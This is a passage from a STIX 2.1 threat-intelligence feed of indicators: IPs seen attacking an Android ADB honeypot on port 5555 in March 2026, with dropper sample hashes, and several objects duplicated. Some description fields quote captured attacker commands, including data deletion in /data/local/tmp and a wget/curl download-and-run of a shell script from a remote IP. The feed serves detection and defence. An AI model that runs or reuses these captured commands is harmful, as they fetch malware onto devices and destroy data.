      "id": "indicator--abfd0e46-79c8-4339-b519-0604961e6669",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '175.202.8.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:00:13.000Z",
      "valid_until": "2026-04-03T11:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-02T10:51:21.000Z",
          "last_seen": "2026-03-02T11:01:33.747Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T11:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=48 | first_seen=2026-03-02T10:33:07.000Z | last_seen=2026-03-31T01:28:31.398Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f2ec1bda-ad99-4911-ab8e-5f7c38216e0b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:00:13.000Z",
      "valid_until": "2026-04-03T11:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 48,
          "first_seen": "2026-03-02T10:33:07.000Z",
          "last_seen": "2026-03-31T01:28:31.398Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T11:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-02T10:31:27.000Z | last_seen=2026-03-09T05:54:47.632Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ec3df7e5-e660-4c6e-9a60-60d7ee8ac11d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:00:13.000Z",
      "valid_until": "2026-04-03T11:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-02T10:31:27.000Z",
          "last_seen": "2026-03-09T05:54:47.632Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T11:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-02T10:51:21.000Z | last_seen=2026-03-02T11:01:33.747Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--abfd0e46-79c8-4339-b519-0604961e6669",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '175.202.8.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:00:13.000Z",
      "valid_until": "2026-04-03T11:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-02T10:51:21.000Z",
          "last_seen": "2026-03-02T11:01:33.747Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T11:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=48 | first_seen=2026-03-02T10:33:07.000Z | last_seen=2026-03-31T01:28:31.398Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f2ec1bda-ad99-4911-ab8e-5f7c38216e0b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:00:13.000Z",
      "valid_until": "2026-04-03T11:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 48,
          "first_seen": "2026-03-02T10:33:07.000Z",
          "last_seen": "2026-03-31T01:28:31.398Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T11:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-02T10:31:27.000Z | last_seen=2026-03-09T05:54:47.632Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ec3df7e5-e660-4c6e-9a60-60d7ee8ac11d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:00:13.000Z",
      "valid_until": "2026-04-03T11:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-02T10:31:27.000Z",
          "last_seen": "2026-03-09T05:54:47.632Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T13:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=51; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-03. events=51 | first_seen=2026-03-02T12:05:28.000Z | last_seen=2026-03-02T12:25:45.921Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
      "id": "indicator--62b39fb0-4126-4cfa-bfad-ddde93673c93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '14.151.81.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T13:00:13.000Z",
      "valid_until": "2026-04-03T13:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 51,
          "first_seen": "2026-03-02T12:05:28.000Z",
          "last_seen": "2026-03-02T12:25:45.921Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T13:00:13.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64.raw; src_ip=14.151.81.218; src_ips=14.151.81.218; cc=CN; last_seen=2026-03-02T12:07:12.235Z; cmds=[OKAY.k..................CLSE.k..................OPEN.k..................sync:. | rm -rf /data/local/tmp/* | ps | grep trinity]",
      "id": "indicator--86714b6a-2bd8-4d2c-b1bd-14b75bae4aa8",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T13:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T13:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=51; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-03. events=51 | first_seen=2026-03-02T12:05:28.000Z | last_seen=2026-03-02T12:25:45.921Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
      "id": "indicator--62b39fb0-4126-4cfa-bfad-ddde93673c93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '14.151.81.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T13:00:14.000Z",
      "valid_until": "2026-04-03T13:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 51,
          "first_seen": "2026-03-02T12:05:28.000Z",
          "last_seen": "2026-03-02T12:25:45.921Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T13:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64.raw; src_ip=14.151.81.218; src_ips=14.151.81.218; cc=CN; last_seen=2026-03-02T12:07:12.235Z; cmds=[OKAY.k..................CLSE.k..................OPEN.k..................sync:. | rm -rf /data/local/tmp/* | ps | grep trinity]",
      "id": "indicator--86714b6a-2bd8-4d2c-b1bd-14b75bae4aa8",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T13:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-02T13:08:50.000Z | last_seen=2026-03-02T13:09:58.422Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--e7026731-151f-4e69-b0cc-d5e3e4dd4711",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '161.35.98.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:00:03.000Z",
      "valid_until": "2026-04-03T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-02T13:08:50.000Z",
          "last_seen": "2026-03-02T13:09:58.422Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-02T13:08:50.000Z | last_seen=2026-03-02T13:09:58.422Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--e7026731-151f-4e69-b0cc-d5e3e4dd4711",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '161.35.98.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:00:03.000Z",
      "valid_until": "2026-04-03T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-02T13:08:50.000Z",
          "last_seen": "2026-03-02T13:09:58.422Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T16:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-02T15:47:26.000Z | last_seen=2026-03-02T15:48:32.616Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--1b43aaed-8b76-45a2-a4fe-15b1c65c4bc3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.239.62.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:00:13.000Z",
      "valid_until": "2026-04-03T16:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-02T15:47:26.000Z",
          "last_seen": "2026-03-02T15:48:32.616Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T16:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-02T15:47:26.000Z | last_seen=2026-03-02T15:48:32.616Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--1b43aaed-8b76-45a2-a4fe-15b1c65c4bc3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.239.62.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:00:13.000Z",
      "valid_until": "2026-04-03T16:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-02T15:47:26.000Z",
          "last_seen": "2026-03-02T15:48:32.616Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T17:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=IN; asn=24186; asn_org=RailTel Corporation of India Ltd; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=11 | first_seen=2026-03-02T16:36:47.000Z | last_seen=2026-03-02T16:47:12.989Z | ports=5555 | cc=IN | asn=24186 | org=RailTel Corporation of India Ltd",
      "id": "indicator--e2f23984-6a6d-480c-9808-5d45553dc0aa",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '202.141.95.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:00:13.000Z",
      "valid_until": "2026-04-03T17:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 11,
          "first_seen": "2026-03-02T16:36:47.000Z",
          "last_seen": "2026-03-02T16:47:12.989Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "24186"
          ],
          "org": [
            "RailTel Corporation of India Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T19:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=VN; asn=63737; asn_org=VIETSERVER SERVICES TECHNOLOGY COMPANY LIMITED; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://103.253.146.163/viet69.sh; sh viet69.sh; curl http://103.253.146.163/viet69.sh; sh viet69.sh; wget http://103.253.146.1\"\n\nObserved in ADBHoney telemetry for 2026-03. events=35 | first_seen=2026-03-02T18:06:38.000Z | last_seen=2026-03-04T18:02:40.618Z | ports=5555 | cc=VN | asn=63737 | org=VIETSERVER SERVICES TECHNOLOGY COMPANY LIMITED",
      "id": "indicator--bab4db3b-42ec-4392-8b6c-2a0c490d352a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '103.30.10.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:00:13.000Z",
      "valid_until": "2026-04-03T19:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 35,
          "first_seen": "2026-03-02T18:06:38.000Z",
          "last_seen": "2026-03-04T18:02:40.618Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "63737"
          ],
          "org": [
            "VIETSERVER SERVICES TECHNOLOGY COMPANY LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-02T19:00:13.000Z",
